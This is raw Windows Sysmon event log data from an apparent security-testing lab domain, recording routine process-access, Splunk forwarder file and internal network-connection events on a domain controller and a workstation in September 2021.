10341000x800000000000000046906Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:07.151{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046905Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:07.151{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046904Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:07.151{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046903Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:07.151{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046902Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:07.151{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046901Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:07.151{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046900Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:07.151{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046899Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:07.151{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046898Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:07.151{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046897Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:07.151{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046896Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:07.151{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046895Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:07.151{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000046925Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:08.854{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2172481C347934799D74ADE61D1C2985,SHA256=09338679A23ECAEE58A3FD7593485F314F281F736C386EF3793ABA17B9534C47,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014703Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:08.683{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8223C96D211DEBF225B275CF5DA4941F,SHA256=305E078CEB5FAACBB5E6CAA79F0D4B89BDBC912D0343730AF30F939BBA380F7F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014705Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:09.699{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=478739C4A338DC5ACE3A86B58CA85025,SHA256=B885F7B453F150E94062A1F6F8009A26B1BE64043401900912E49B7531BE384B,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014704Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:07.416{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50176-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014706Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:10.714{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3CCFA0D9A48EC6206C1FE9F26EC03E18,SHA256=DD632BF45205066453EE4064033121B230389AEF8AEB041F0DCC18F07A161DE5,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046927Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:07.481{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59359-false10.0.1.12-8000- 23542300x800000000000000046926Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:10.057{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=107677BF35FE1D90F9B093EC8B22A842,SHA256=6ABA22455D87967D75F36BF9B9C39B60804E7B7E39C975887EA3EBD831AA41AC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014707Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:11.730{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B48819B1935CC68146FA3B8CD151684C,SHA256=774BB762B82E81A889479B28F3A7E701146F9A39AFDBC8277FD2FEF3E4FA2C2E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046928Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:11.074{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9356F0608F16C081BD7E1C087B08A308,SHA256=9C7E025AB217846CD065F9862AE2A4B2BAF75F85381E5109A159A1E9C946EAD2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014708Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:12.730{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=27FD9F55D0C2F5FEBBF6BBC2AD408BF7,SHA256=A6EEC1723F4357B94091FCB126A7E5CDE572FE283B721DDCA6728A6B104CA648,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046929Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:12.152{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=473F721AD741238FC314A56943C5BEA8,SHA256=87B8131166595104BA079BB32E5140508AA5FFD9C720ED9CA991D0B8AD6F0686,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014709Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:13.746{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A73C4A5A3610E772193E488E3039BC6F,SHA256=D1595765EDEF04E2A2AC68526D3F21E96646715EC4B89AE107FC8B6683933B18,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046930Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:13.168{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D7139FFE2219B2F9DFF85F21D6B13D9A,SHA256=F6261B8F15354722A8DEE3061FC11335B9E83028A2A5F429A773B2695082D024,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014710Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:14.761{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=97696CCA8F3830AD6E847105FC19B52B,SHA256=388A8F6A163F6E4748EF79B35CEE675E7EA56AA668E5962D63DF750CDD4F7570,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046931Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:14.231{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=20E04BA765A278430AB6DF5A462FB537,SHA256=E53F2E5050DEC399322193F0710F3C9C85247D002A1CA0721CA3335A957D2977,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014712Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:15.777{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9C4D6C1BB6CD28FBEA0C8803629F5E01,SHA256=88FC157C8DC8B68A6B3CDFC471BB3E0D0C9F33ADB6C89DA7ABAFC71727802732,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046933Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:12.498{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59360-false10.0.1.12-8000- 23542300x800000000000000046932Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:15.246{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=60C75D8A115D2544AE6A3F2F2B6C69F3,SHA256=A2675001C7DFCCF84EB40466CE7436168E98C9C6FE13B0CCE4870DD0EB8BBD5A,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014711Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:13.399{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50177-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014713Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:16.777{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FFFDFC3A8615C5351DB521D3361E71E3,SHA256=C011AECC403EBA025B0FF9D3A02C6CA30AC1FBE2F3332A52B120D228D7A14050,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046934Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:16.324{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9D51085FCA4C0DD24C2149D593A071BA,SHA256=469608F682289FF02210B5619C64552CE299CC12001F15B85B93B49DF4CBA82C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014714Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:17.792{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F6165224BE0823E5DA8A7C8DF38718CE,SHA256=1A0E0BBDAF14058438703DF4655EF011EC3B60CFF8963F2CFB6B818C06ADF5A3,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046943Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:17.512{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-706D-613B-060B-00000000F001}5624C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046942Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:17.512{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046941Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:17.512{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046940Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:17.512{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046939Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:17.512{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046938Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:17.512{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-706D-613B-060B-00000000F001}5624C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046937Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:17.512{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-706D-613B-060B-00000000F001}5624C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program 